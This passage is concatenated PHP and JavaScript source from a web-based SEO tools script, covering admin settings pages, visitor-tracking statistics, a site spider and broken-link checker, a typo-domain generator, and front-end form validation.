HEL_DIR."site_snapshot/$site.jpg"; } } } return $myimage; }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <style> @media only screen and (min-width: 600px) { .table-responsive { overflow-x: hidden; } } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="table-responsive"> <table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="mySitesTable"> <thead> <tr> <th>ID</th> <th>Tool Name</th> <th>Price</th> <th>Tool Link</th> <th>Buy Now</th> </tr> </thead> <tbody> </tbody> </table> </div> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $ajaxLink = adminLink('?route='.$controller.'/ajax',true); $footerAddArr[] = <<<EOD <script type="text/javascript" language="javascript" class="init"> $(document).ready(function() { $('#mySitesTable').dataTable( { "processing": true, "serverSide": true, "serverSide": true, "ajax": { "url": "$ajaxLink", "dataType": "jsonp" } } ); } ); </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $fullLayout = 1; $pageTitle = 'Captcha Protection'; $subTitle = 'Captcha Settings'; $footerAdd = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $myValues = array_map_recursive( function($item) use ($con) { return escapeTrim($con,$item); }, $_POST ); $capthcaData = arrToDbStr($con, $myValues['cap']); $capthcaPagesArr = array(); foreach(capPages() as $capName=>$capRaw){ if(in_array($capName,$myValues['cap_pages'])) $capthcaPagesArr[$capName] = true; else $capthcaPagesArr[$capName] = false; } $capthcaPages = arrToDbStr($con, $capthcaPagesArr); $cap_type = strtolower($myValues['sel_cap']); $query = "UPDATE capthca SET cap_options='$capthcaPages', cap_data='$capthcaData', cap_type='$cap_type' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Captcha settings saved successfully'); } extract(loadAllCapthca($con)); $cap_options = dbStrToArr($cap_options); $cap_data = dbStrToArr($cap_data); $capList = capPages(); foreach($cap_data as $capEx){ extract($capEx); } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools * @copyright © 2017 ProThemes.Biz * */ ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'User Account Settings'; $subTitle = 'Users Settings'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $enable_reg = escapeTrim($con, $_POST['enable_reg']); $enable_oauth = escapeTrim($con, $_POST['enable_oauth']); $enable_quick = escapeTrim($con, $_POST['enable_quick']); $fb_app_secret = escapeTrim($con, $_POST['fb_app_secret']); $visitors_limit = escapeTrim($con, $_POST['visitors_limit']); $myOauth = array(); $myOauth['oauth'] = array_map_recursive( function($item) use ($con) { return escapeTrim($con,$item); }, $_POST['oauth'] ); $oauth_keys = arrToDbStr($con, $myOauth); $query = "UPDATE user_settings SET visitors_limit='$visitors_limit', enable_reg='$enable_reg', enable_oauth='$enable_oauth', enable_quick='$enable_quick', oauth_keys='$oauth_keys' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('User settings saved successfully'); } //Load User Settings $result = mysqli_query($con,"SELECT * FROM user_settings WHERE id='1'"); $row = mysqli_fetch_array($result); $enable_reg = filter_var(Trim($row['enable_reg']), FILTER_VALIDATE_BOOLEAN); $enable_oauth = filter_var(Trim($row['enable_oauth']), FILTER_VALIDATE_BOOLEAN); $quick_login = filter_var(Trim($row['enable_quick']), FILTER_VALIDATE_BOOLEAN); $oauth_keys = dbStrToArr($row['oauth_keys']); $visitors_limit = intval($row['visitors_limit']); //if($oauth_keys['oauth']['fb_redirect_uri'] == '') $oauth_keys['oauth']['fb_redirect_uri'] = $baseURL. '?route=facebook'; //if($oauth_keys['oauth']['g_redirect_uri'] == '') $oauth_keys['oauth']['g_redirect_uri'] = $baseURL. '?route=google'; //if($oauth_keys['oauth']['twitter_redirect_uri'] == '') $oauth_keys['oauth']['twitter_redirect_uri'] = $baseURL. 'twitter'; ?><file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ function isPageExistOnArray($elem, $array) { foreach($array as $key => $pages){ if($pages[0] == Trim($elem)) return array(true,$key); } return array(false); } function getTrackRecords($date,$con){ $evens = array(0,2,4,6,8,10,12,14,16,18,20,22); $finalRecord = array(); $trackQuery = mysqli_query($con, "SELECT * FROM rainbow_track where date='$date'"); if(mysqli_num_rows($trackQuery) > 0) { $records = mysqli_fetch_array($trackQuery); foreach($evens as $num){ $records['h'.$num] = dbStrToArr($records['h'.$num]); } $finalRecord = array_merge_recursive($records['h0'],$records['h2'],$records['h4'],$records['h6'],$records['h8'], $records['h10'],$records['h12'],$records['h14'],$records['h16'],$records['h18'],$records['h20'],$records['h22']); } return $finalRecord; } function getTrackRecordsRange($startDate,$endDate,$con){ $evens = array(0,2,4,6,8,10,12,14,16,18,20,22); $finalRecord = array(); $trackQuery = mysqli_query($con, "SELECT * FROM rainbow_track where date between '$startDate' and '$endDate'"); if(mysqli_num_rows($trackQuery) > 0) { while($records = mysqli_fetch_array($trackQuery)) { foreach($evens as $num){ $records['h'.$num] = dbStrToArr($records['h'.$num]); } $finalRecord[] = array_merge_recursive($records['h0'],$records['h2'],$records['h4'],$records['h6'],$records['h8'], $records['h10'],$records['h12'],$records['h14'],$records['h16'],$records['h18'],$records['h20'],$records['h22']); } } return $finalRecord; } function getTrackRecordsWithPageViews($date,$con){ $evens = array(0,2,4,6,8,10,12,14,16,18,20,22); $finalRecord = $viewRecord = array(); $pageView = $uniqueView = $sesCount = 0; $trackQuery = mysqli_query($con, "SELECT * FROM rainbow_track where date='$date'"); if(mysqli_num_rows($trackQuery) > 0) { $records = mysqli_fetch_array($trackQuery); foreach($evens as $num){ $records['h'.$num] = dbStrToArr($records['h'.$num]); $tempPageView = $tempUniqueView = $tempSesCount = 0; foreach($records['h'.$num] as $ip => $ses){ $uniqueView++; $tempUniqueView++; foreach($ses as $sesID => $data){ $sesCount++; $tempSesCount++; foreach($data['pages'] as $pageV){ $pageView = $pageView + $pageV[1]; $tempPageView = $tempPageView + $pageV[1]; } } } $viewRecord[$num] = array('views' => $tempPageView, 'unique' => $tempUniqueView, 'ses' => $tempSesCount); } $viewRecord['total'] = array('views' => $pageView, 'unique' => $uniqueView, 'ses' => $sesCount); $finalRecord = array_merge_recursive($records['h0'],$records['h2'],$records['h4'],$records['h6'],$records['h8'], $records['h10'],$records['h12'],$records['h14'],$records['h16'],$records['h18'],$records['h20'],$records['h22']); } return array($viewRecord, $finalRecord); } function getTrackViews($con,$reportLimit = 10){ $evens = array(0,2,4,6,8,10,12,14,16,18,20,22); $viewRecord = array(); $trackQuery = mysqli_query($con, 'SELECT * FROM rainbow_track ORDER BY id DESC LIMIT '. $reportLimit); while ($records = mysqli_fetch_array($trackQuery)){ $pageView = $uniqueView = $sesCount = 0; foreach($evens as $num){ $records['h'.$num] = dbStrToArr($records['h'.$num]); $tempPageView = $tempUniqueView = $tempSesCount = 0; foreach($records['h'.$num] as $ip => $ses){ $uniqueView++; $tempUniqueView++; foreach($ses as $sesID => $data){ $sesCount++; $tempSesCount++; foreach($data['pages'] as $pageV){ $pageView = $pageView + $pageV[1]; $tempPageView = $tempPageView + $pageV[1]; } } } } $viewRecord[$records['date']] = array('views' => $pageView, 'unique' => $uniqueView, 'ses' => $sesCount); } return $viewRecord; } function getTodayViews($con){ $date = date('Y-m-d'); $evens = array(0,2,4,6,8,10,12,14,16,18,20,22); $pageView = $uniqueView = $sesCount = 0; $trackQuery = mysqli_query($con, "SELECT * FROM rainbow_track WHERE date='$date'"); if(mysqli_num_rows($trackQuery) > 0) { $records = mysqli_fetch_array($trackQuery); foreach($evens as $num){ $records['h'.$num] = dbStrToArr($records['h'.$num]); $tempPageView = $tempUniqueView = $tempSesCount = 0; foreach($records['h'.$num] as $ip => $ses){ $uniqueView++; $tempUniqueView++; foreach($ses as $sesID => $data){ $sesCount++; $tempSesCount++; foreach($data['pages'] as $pageV){ $pageView = $pageView + $pageV[1]; $tempPageView = $tempPageView + $pageV[1]; } } } } } return array('views' => $pageView, 'unique' => $uniqueView, 'ses' => $sesCount); } function getOnlineUsers($con,$time="-30 minutes"){ $date = date('Y-m-d'); $onlineUsersCount = 0; $evens = array(0,2,4,6,8,10,12,14,16,18,20,22); $finalRecord = array(); $trackQuery = mysqli_query($con, "SELECT * FROM rainbow_track where date='$date'"); if(mysqli_num_rows($trackQuery) > 0) { $records = mysqli_fetch_array($trackQuery); foreach($evens as $num){ $records['h'.$num] = dbStrToArr($records['h'.$num]); foreach($records['h'.$num] as $ip => $ses){ foreach($ses as $sesID => $data){ if($data['last_visit'] >= strtotime($time)){ $finalRecord[$ip][$sesID] = $data; $onlineUsersCount++; } } } } } if(date('H') == '00'){ if(date('i') <= '30'){ $date = date('Y-m-d', strtotime('-1 days')); $evens = array(0,2,4,6,8,10,12,14,16,18,20,22); $trackQuery = mysqli_query($con, "SELECT * FROM rainbow_track where date='$date'"); if(mysqli_num_rows($trackQuery) > 0) { $records = mysqli_fetch_array($trackQuery); foreach($evens as $num){ $records['h'.$num] = dbStrToArr($records['h'.$num]); foreach($records['h'.$num] as $ip => $ses){ foreach($ses as $sesID => $data){ if($data['last_visit'] >= strtotime($time)){ $finalRecord[$ip][$sesID] = $data; $onlineUsersCount++; } } } } } } } return array($onlineUsersCount, $finalRecord); } <file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function spiderView($url,$err_str="Input Site is not valid!") { //Get Data of the URL $html = getMydata($url); if($html == ""){ die($err_str); } //Source Data $sourceData = $html; //Only Text Content $textData = preg_replace('/(<script.*?>.*?<\/script>|<style.*?>.*?<\/style>|<.*?>|\r|\n|\t)/ms', '', $html); $textData = preg_replace('/ +/ms', ' ', $textData); //Fix Meta Uppercase Problem $html = str_ireplace(array("Title","TITLE"),"title",$html); $html = str_ireplace(array("Description","DESCRIPTION"),"description",$html); $html = str_ireplace(array("Keywords","KEYWORDS"),"keywords",$html); $html = str_ireplace(array("Content","CONTENT"),"content",$html); $html = str_ireplace(array("Meta","META"),"meta",$html); $html = str_ireplace(array("Name","NAME"),"name",$html); $doc = new DOMDocument(); $doc->loadHTML($html); $nodes = $doc->getElementsByTagName('title'); $title = $nodes->item(0)->nodeValue; $metas = $doc->getElementsByTagName('meta'); for ($i = 0; $i < $metas->length; $i++) { $meta = $metas->item($i); if($meta->getAttribute('name') == 'description') $description = $meta->getAttribute('content'); if($meta->getAttribute('name') == 'keywords') $keywords = $meta->getAttribute('content'); } //Check Empty Data $site_title = ($title == '' ? "No Title" : $title); $site_description = ($description == '' ? "No Description" : $description); $site_keywords = ($keywords == '' ? "No Keywords" : $keywords); $tags = array ('h1', 'h2', 'h3', 'h4'); $texts = array (); foreach($tags as $tag) { $elementList = $doc->getElementsByTagName($tag); foreach($elementList as $element) { $texts[$element->tagName][] = $element->textContent; } } $arr_meta = array($sourceData,$site_title,$site_description,$site_keywords,$textData,$texts); return $arr_meta; } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2019 ProThemes.Biz * */ $tools = array(); $result = mysqli_query($con, 'SELECT * FROM seo_tools ORDER BY CAST(tool_no AS UNSIGNED) ASC'); while ($row = mysqli_fetch_array($result)){ if(isSelected($row['tool_show'])) $tools[] = array(shortCodeFilter($row['tool_name']),createLink($row['tool_url'],true),$row['icon_name'],$row['tool_show'],$row['tool_no']); } <file_sep><?php /** * Typo: a Class for calculate domain name typos (bad typing errors) * @author <NAME> (dacalvi at gmail) * @return array containing the list of typos * @version 1.0 * @example $typos = new Typo("google") * */ class typos { function get($dominio) { $dominios_mal_tipeados = array(); //Busqueda de caracteres repetidos que por error se tipean una sola vez $arrayDominio = $this->str2array($dominio); $repeticion = false; $dominio_repetido = array(); foreach($arrayDominio as $key=>$value){ if($key < strlen($dominio)){ if($value == $arrayDominio[$key+1]){ $repeticion = true; }else{ $dominio_repetido[] = $value; } } } if($repeticion){ $dominios_mal_tipeados[] = join("", $dominio_repetido); } //Regla de proximidad de teclas $array_proximidades = array(); $array_proximidades['a'] = array('q', 'w', 'z', 'x'); $array_proximidades['b'] = array('v', 'f', 'g', 'h', 'n'); $array_proximidades['c'] = array('x', 's', 'd', 'f', 'v'); $array_proximidades['d'] = array('x', 's', 'w', 'e', 'r', 'f', 'v', 'c'); $array_proximidades['e'] = array('w', 's', 'd', 'f', 'r'); $array_proximidades['f'] = array('c', 'd', 'e', 'r', 't', 'g', 'b', 'v'); $array_proximidades['g'] = array('r', 'f', 'v', 't', 'b', 'y', 'h', 'n'); $array_proximidades['h'] = array('b', 'g', 't', 'y', 'u', 'j', 'm', 'n'); $array_proximidades['i'] = array('u', 'j', 'k', 'l', 'o'); $array_proximidades['j'] = array('n', 'h', 'y', 'u', 'i', 'k', 'm'); $array_proximidades['k'] = array('u', 'j', 'm', 'l', 'o'); $array_proximidades['l'] = array('p', 'o', 'i', 'k', 'm'); $array_proximidades['m'] = array('n', 'h', 'j', 'k', 'l'); $array_proximidades['n'] = array('b', 'g', 'h', 'j', 'm'); $array_proximidades['o'] = array('i', 'k', 'l', 'p'); $array_proximidades['p'] = array('o', 'l'); $array_proximidades['r'] = array('e', 'd', 'f', 'g', 't'); $array_proximidades['s'] = array('q', 'w', 'e', 'z', 'x', 'c'); $array_proximidades['t'] = array('r', 'f', 'g', 'h', 'y'); $array_proximidades['u'] = array('y', 'h', 'j', 'k', 'i'); $array_proximidades['v'] = array('', 'c', 'd', 'f', 'g', 'b'); $array_proximidades['w'] = array('q', 'a', 's', 'd', 'e'); $array_proximidades['x'] = array('z', 'a', 's', 'd', 'c'); $array_proximidades['y'] = array('t', 'g', 'h', 'j', 'u'); $array_proximidades['z'] = array('x', 's', 'a'); $array_proximidades['1'] = array('q', 'w'); $array_proximidades['2'] = array('q', 'w', 'e'); $array_proximidades['3'] = array('w', 'e', 'r'); $array_proximidades['4'] = array('e', 'r', 't'); $array_proximidades['5'] = array('r', 't', 'y'); $array_proximidades['6'] = array('t', 'y', 'u'); $array_proximidades['7'] = array('y', 'u', 'i'); $array_proximidades['8'] = array('u', 'i', 'o'); $array_proximidades['9'] = array('i', 'o', 'p'); $array_proximidades['0'] = array('o', 'p'); foreach($arrayDominio as $key=>$value){ $temp_domain = $arrayDominio; foreach ($array_proximidades[$value] as $tecla_proxima){ $temp_domain[$key] = $tecla_proxima; $dominios_mal_tipeados[] = join("", $temp_domain); } } return $dominios_mal_tipeados; } function str2array($str) { $ret = array(); for ($i=0; $i<strlen($str); $i++) { $ret[] = substr($str, $i, 1); } return $ret; } }<file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function getBrokenLinks($my_url,$unknown="Unknown"){ //Parse Host $inputUrl = parse_url($my_url); $inputHost = $inputUrl['scheme'] . "://" . $inputUrl['host']; $uriData = doLinkAnalysis($my_url); if(!is_array($uriData)) return false; $internal_links = $uriData[0]; $external_links = $uriData[3]; $iLinks = array(); $eLinks = array(); foreach($internal_links as $internal_link){ $iLink = Trim($internal_link['href']); if(substr($iLink, 0, 2) == "//") { $iLink = "http:" . $iLink; } elseif(substr($iLink, 0, 1) == "/") { $iLink = $inputHost . $iLink; } $httpCode = Trim(getHttp(getHeaders($iLink))); if($httpCode=="") $httpCode = $unknown; if($httpCode == 200) $colorCode = "#27ae60"; elseif($httpCode == 404) $colorCode = "#cd4031"; else $colorCode = "#16a085"; $iLinks[] = array($iLink,$httpCode,$colorCode); } foreach($external_links as $external_link){ $eLink = Trim($external_link['href']); $httpCode = Trim(getHttp(getHeaders($eLink))); if($httpCode=="") $httpCode = $unknown; if($httpCode == 200) $colorCode = "#27ae60"; elseif($httpCode == 404) $colorCode = "#cd4031"; else $colorCode = "#16a085"; $eLinks[] = array($eLink,$httpCode,$colorCode); } return array($iLinks,$eLinks); } ?><file_sep>/*! * A to Z SEO Tools v2 !**/ var baseUrl = '/'; var axPath = '/ajax'; var oopsStr = 'Oops...'; var emptyStr = 'Domain name field can\'t be empty!'; var imageVr = 'Please verify your image verification'; var capCodeWrg = 'Your image verification code is wrong!' var inputEm = 'Input data field can\'t empty!'; var inputURL = 'Enter a valid URL'; var charLeft = 'Characters left'; var capRefresh = 'Loading...'; var titleCheck = 'Site title field can\'t be empty!'; var desCheck = 'Site dscription field can\'t be empty!'; var keyCheck = 'Site keywords field can\'t be empty!'; var searchNo = 'No result found related to your keyword...'; var tools,toolsURL; $(document).ready(function() { $('[data-toggle="tooltip"]').tooltip(); $(".dropdown-toggle").dropdown(); jQuery("#getStarted").click(function(){ var pos = $('#seoTools').offset(); $('body,html').animate({ scrollTop: pos.top-12}); }); jQuery("#browseTools").click(function() { var pos1 = $('#browseTools').offset(); $('body,html').animate({ scrollTop: pos1.top-12}); jQuery("#browseTools").hide(); jQuery(".hideAll").css({"display":"block"}); jQuery(".hideAll").show(); jQuery(".hideAll").fadeIn(); }); jQuery('.thumbnail').on('mouseleave', function() { var $this = jQuery(this); jQuery('img', $this).removeClass('animated bounceIn'); }); jQuery('.thumbnail').on('mouseenter', function() { var $this = jQuery(this); jQuery('img', $this).addClass('animated bounceIn'); }); $("#search").keyup(function(){ searchResults(false); }); $("#search").click(function(){ searchResults(false); }); $("#sidebarsearch").keyup(function(){ searchResults(true); }); $("#sidebarsearch").click(function(){ searchResults(true); }); $(document).mouseup(function (e){ var container = $("#searchSec"); if (!container.is(e.target) && container.has(e.target).length === 0) $("#index-results").hide(); container = $("#sidebarSc"); if (!container.is(e.target) && container.has(e.target).length === 0) $("#sidebar-results").hide(); }); }); $("#description").focus(function (){ countDes() }); $("#description").keypress(function (){ countDes() }); $("#description").blur(function (){ countDes(); }); $("#description").click(function (){ countDes() }); $("#metatitle").focus(function (){ countTitle() }); $("#metatitle").keypress(function (){ countTitle() }); $("#metatitle").blur(function (){ countTitle(); }); $("#metatitle").click(function (){ countTitle() }); function searchResults(sidebar){ var searchTxt,searchRes,sidebarmatch = ''; if(sidebar){ searchTxt = "#sidebarsearch"; searchRes = "#sidebar-results"; sidebarmatch = 'sidebarmatch'; }else{ searchTxt = "#search"; searchRes = "#index-results"; } var val = clearText($(searchTxt).val()); $(searchRes).html(''); $(searchRes).hide(); if(val.length < 2){ return false; } $(searchRes).show(); var matches = 0; $(tools).each(function(count){ var myVal = clearText(tools[count]); if(myVal.match(val)){ matches++; var href = toolsURL[count]; var re = new RegExp(val,"gi"); var toolName = tools[count].replace(re, "<strong>"+val+"</strong>"); $(searchRes).append('<span class="match '+sidebarmatch+'"><a href="'+href+'">'+capitalizeFirstLetter(toolName)+ '</a></span>'); } }); if(matches < 1) $(searchRes).html(searchNo); } function capitalizeFirstLetter(string) { string = string.trim(); if(string.charAt(0) == '<') return '<strong>' + string.charAt(8).toUpperCase() + string.slice(9); else return string.charAt(0).toUpperCase() + string.slice(1); } function clearText(text) { myStr = text.toLowerCase(); myStr = myStr.replace(/ /g,""); myStr = myStr.replace(/[^a-zA-Z0-9]+/g,""); myStr = myStr.replace(/(\s)+/g, ""); return myStr; } function countDes() { var myDes= $('textarea#description').val(); if(myDes.length <= 320) $("#limitBar").html("<span>(" + charLeft + ": " + (320 - myDes.length) + ")</span>"); else $("#limitBar").html("<span style='color: red;'>(" + charLeft + ": " + (320 - myDes.length) + ")</span>"); } function countTitle() { var mTitle= jQuery.trim($('input[name=title]').val()); if(mTitle.length <= 70) $("#limitBarT").html("<span>(" + charLeft + ": " + (70 - mTitle.length) + ")</span>"); else $("#limitBarT").html("<span style='color: red;'>(" + charLeft + ": " + (70 - mTitle.length) + ")</span>"); } function metaData() { //Check Title var mTitle= jQuery.trim($('input[name=title]').val()); if (mTitle==null || mTitle=="") { sweetAlert(oopsStr, titleCheck, "error"); return false; } //Check description var myDes= $('textarea#description').val(); if (myDes==null || myDes=="") { sweetAlert(oopsStr, desCheck, "error"); return false; } //Check keywords var myKey= $('textarea#keywords').val(); if (myKey==null || myKey=="") { sweetAlert(oopsStr, keyCheck, "error"); return false; } if (captchaCodeCheck()){ sweetAlert(oopsStr, imageVr , "error"); return false; } return true; } function fixData() { var myData= $('textarea#data').val(); if (myData==null || myData=="") { sweetAlert(oopsStr, inputEm, "error"); return false; }else if (captchaCodeCheck()){ sweetAlert(oopsStr, imageVr , "error"); return false; } return true; } function fixKey() { var myData= $('#key').val(); if (myData==null || myData=="") { sweetAlert(oopsStr, inputEm, "error"); return false; }else if (captchaCodeCheck()){ sweetAlert(oopsStr, imageVr , "error"); return false; } return true; } function fixURL() { var myUrl= jQuery.trim($('input[name=url]').val()); if (myUrl==null || myUrl=="") { sweetAlert(oopsStr, emptyStr , "error"); return false; }else if(myUrl.indexOf(".") == -1){ sweetAlert(oopsStr, inputURL , "error"); return false; }else if (captchaCodeCheck()){ sweetAlert(oopsStr, imageVr , "error"); return false; } if (myUrl.indexOf("http://") != 0 && myUrl.indexOf("https://") != 0) document.getElementById("url").value = 'http://' + myUrl; return true; } function cleanURL(myUrl){ if (myUrl.indexOf("http://") == 0) myUrl=myUrl.substring(7); else if (myUrl.indexOf("https://") == 0) myUrl=myUrl.substring(8); return myUrl; } function captchaCodeCheck(){ if ($(".captchaCode").length > 0){ var capType = $('#capType').val(); if(capType == 'phpcap'){ if($('input[name=scode]').val() == '') return true; }else if(capType == 'recap'){ if(grecaptcha.getResponse() == '') return true; } } return false; } function captchaCodeCheckMsg(){ if (captchaCodeCheck()){ sweetAlert(oopsStr, imageVr , "error"); return false; } return true; } function validateCaptcha(){ if ($(".captchaCode").length > 0){ var capCode,capData,authCode; if (captchaCodeCheck()){ sweetAlert(oopsStr, imageVr , "error"); return false; } capData = {capthca:'1'}; capType = $('#capType').val(); if(capType == 'phpcap'){ capCode = $('input[name=scode]').val(); capData['scode'] = capCode; capData['pageUID'] = $('input[name=pageUID]').val(); }else if(capType == 'recap'){ capCode = grecaptcha.getResponse(); capData['g-recaptcha-response'] = capCode; } $.post(axPath + '/verification/get-auth',capData,function(data){ authCode = data.split(':::'); if(authCode[0] == '1') startTask(authCode[1]); else{ sweetAlert(oopsStr, capCodeWrg , "error"); if(capType == 'phpcap') reloadCap(); return false; } }); }else{ authCode = $('#authCode').val(); startTask(authCode); } } function reloadCap(){ $('input[name="scode"]').val(''); $('input[name="scode"]').attr("placeholder", capRefresh); $('input[name="scode"]').prop('disabled', true); $('#capImg').css("opacity","0.5"); $.get(baseUrl + 'phpcap/reload',function(data){ var newCap = $.trim(data).split(':::'); $('#pageUID').val(newCap[1]); $('#capImg').attr('src', newCap[0]); $('input[name="scode"]').attr("placeholder", ""); $('input[name="scode"]').prop('disabled', false); $('#capImg').css("opacity","1"); }); }<file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework * @copyright 2018 ProThemes.Biz * */ function helper(){ return 'I am Helper!'; } function detectInstaller(){ $filename = ROOT_DIR.'admin'.D_S.'install'.D_S.'install.php'; if (file_exists($filename)) { echo "Install.php file exists! <br /> <br /> Redirecting to installer panel..."; header("Location: admin/install/install.php"); echo '<meta http-equiv="refresh" content="1;url=admin/install/install.php">'; exit(); } return false; } function getTheme($con){ $result = mysqli_query($con, "SELECT * FROM interface where id='1'"); $row = mysqli_fetch_array($result); return trim($row['theme']); } function getThemeOptions($con,$themeName,$baseURL){ $themeOptions = array(); $result = mysqli_query($con, "SELECT * FROM themes_data where id='1'"); $row = mysqli_fetch_array($result); if(isset($row[$themeName.'_theme'])){ $themeOptions = dbStrToArr($row[$themeName.'_theme']); if(isSelected($themeOptions['general']['imgLogo'])) $themeOptions['general']['themeLogo'] = '<img class="themeLogoImg" src="'.$baseURL.$themeOptions['general']['logo'].'" />'; else $themeOptions['general']['themeLogo'] = '<span class="themeLogoText">'.htmlspecialchars_decode(shortCodeFilter($themeOptions['general']['htmlLogo'])).'</span>'; $themeOptions['general']['favicon'] = $baseURL.$themeOptions['general']['favicon']; } return $themeOptions; } function getThemeOptionsDev($con,$themeName){ $themeOptions = array(); $result = mysqli_query($con, "SELECT * FROM themes_data where id='1'"); $row = mysqli_fetch_array($result); if(isset($row[$themeName.'_theme'])) $themeOptions = dbStrToArr($row[$themeName.'_theme']); return $themeOptions; } function getMaintenanceMode($con){ $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); return array($other['other']['maintenance'],$other['other']['maintenance_mes']); } function getMenuBarLinks($con,$userPageUrl=''){ $result = mysqli_query($con, "SELECT * FROM pages"); $rel = $target = $classActive = $relActive = $targetActive = ''; $headerLinks = $footerLinks = array(); while($row = mysqli_fetch_array($result)) { $header_show = filter_var($row['header_show'], FILTER_VALIDATE_BOOLEAN); $footer_show = filter_var($row['footer_show'], FILTER_VALIDATE_BOOLEAN); $linkShow = filter_var($row['status'], FILTER_VALIDATE_BOOLEAN); $langCheck = $row['lang'] == '' ? 'all' : $row['lang']; if($linkShow){ if($header_show || $footer_show){ if($langCheck == 'all' || $langCheck == ACTIVE_LANG){ $classActive = $relActive = $targetActive = ''; $sort_order = $row['sort_order']; $page_name = shortCodeFilter($row['page_name']); /*if($row['page_name'] == '{{lang[1]}}'){ if(isset($_SESSION[N_APP.'Username'])){ $page_name = shortCodeFilter('{{lang[217]}}'); $row['page_url'] = createLink('dashboard',true); } }*/ if($row['type'] != 'page'){ $page_content = decSerBase($row['page_content']); $rel = $page_content[0]; $target = $page_content[1]; } if($row['type'] == 'page') $page_url = createLink('page/'.$row['page_url'],true); elseif($row['type'] == 'internal') $page_url = shortCodeFilter($row['page_url']); elseif($row['type'] == 'external'){ $page_url = $row['page_url']; if($rel != 'none' && $rel != '') $relActive = ' rel="'.$rel.'"'; if($target != 'none' && $target != '') $targetActive = ' target="'.$target.'"'; } if(rtrim($page_url,'/') == rtrim($userPageUrl,'/')) $classActive = ' class="active"'; //Fix - Not needed $classActive = ''; if($header_show) $headerLinks[] = array($sort_order,'<li'.$classActive.'><a'.$relActive.$targetActive.' href="'.$page_url.'">'.$page_name.'</a></li>'); sort($headerLinks); if($footer_show) $footerLinks[] = array($sort_order,'<li'.$classActive.'><a'.$relActive.$targetActive.' href="'.$page_url.'">'.$page_name.'</a></li>'); sort($footerLinks); } } } } return array($headerLinks,$footerLinks); } function getSidebarWidgets($con){ $leftWidgets = $rightWidgets = $footerWidgets = array(); $result = mysqli_query($con,"SELECT * FROM widget ORDER BY CAST(sort_order AS UNSIGNED) ASC"); while ($row = mysqli_fetch_array($result)) { $widgetType = strtolower(Trim($row['widget_type'])); $showWidget = filter_var($row['widget_enable'], FILTER_VALIDATE_BOOLEAN); if($showWidget) { $widgetCode = htmlspecialchars_decode($row['widget_code']); $widgetName = htmlspecialchars_decode($row['widget_name']); if(str_contains($widgetCode,"shortCode")){ $shortCode = explode("shortCode(",$widgetCode); $shortCode = explode(")",$shortCode[1]); $shortCode = Trim($shortCode[0]); if(defined($shortCode)) $widgetCode = str_replace("shortCode(".$shortCode.")",constant($shortCode),$widgetCode); else $widgetCode = "SHORT CODE NOT FOUND!"; } if($widgetType=="left") $leftWidgets[] = array($widgetName,$widgetCode); elseif($widgetType=="right") $rightWidgets[] = array($widgetName,$widgetCode); else $footerWidgets[] = array($widgetName,$widgetCode); } } return array($leftWidgets,$rightWidgets,$footerWidgets); } function trans($str,$customStr=null,$returnStr=false){ $noNullCheck = false; //Enable for testing! if($noNullCheck) $nullData = 'NoNullCheck-Ba-la-ji'; else $nullData = null; if(LANG_TRANS){ if($customStr != $nullData){ if($returnStr) return $customStr; else echo $customStr; } else{ if($returnStr) return $str; else echo $str; } }else{ if($returnStr) return $str; else echo $str; } return true; } function getLang($con){ $result = mysqli_query($con, "SELECT * FROM interface where id='1'"); $row = mysqli_fetch_array($result); return trim($row['lang']); } function getThemeList(){ $dir = ROOT_DIR.'theme'; $themelist = array(); $filesBalajiArr = scandir($dir); foreach($filesBalajiArr as $file){ $themeDir = $dir.D_S.$file; if($file != '.' && $file != '..'){ if (is_dir($themeDir)){ $themeDetailsFile = $themeDir.D_S.'themeDetails.xml'; if(file_exists($themeDetailsFile)){ $themeDetailsXML = simplexml_load_file($themeDetailsFile, "SimpleXMLElement", LIBXML_NOCDATA); $themeDetails = json_decode(json_encode($themeDetailsXML),true); if(isset($themeDetails['@attributes']['compatibility'])){ if($themeDetails['@attributes']['compatibility'] == '1.0'){ 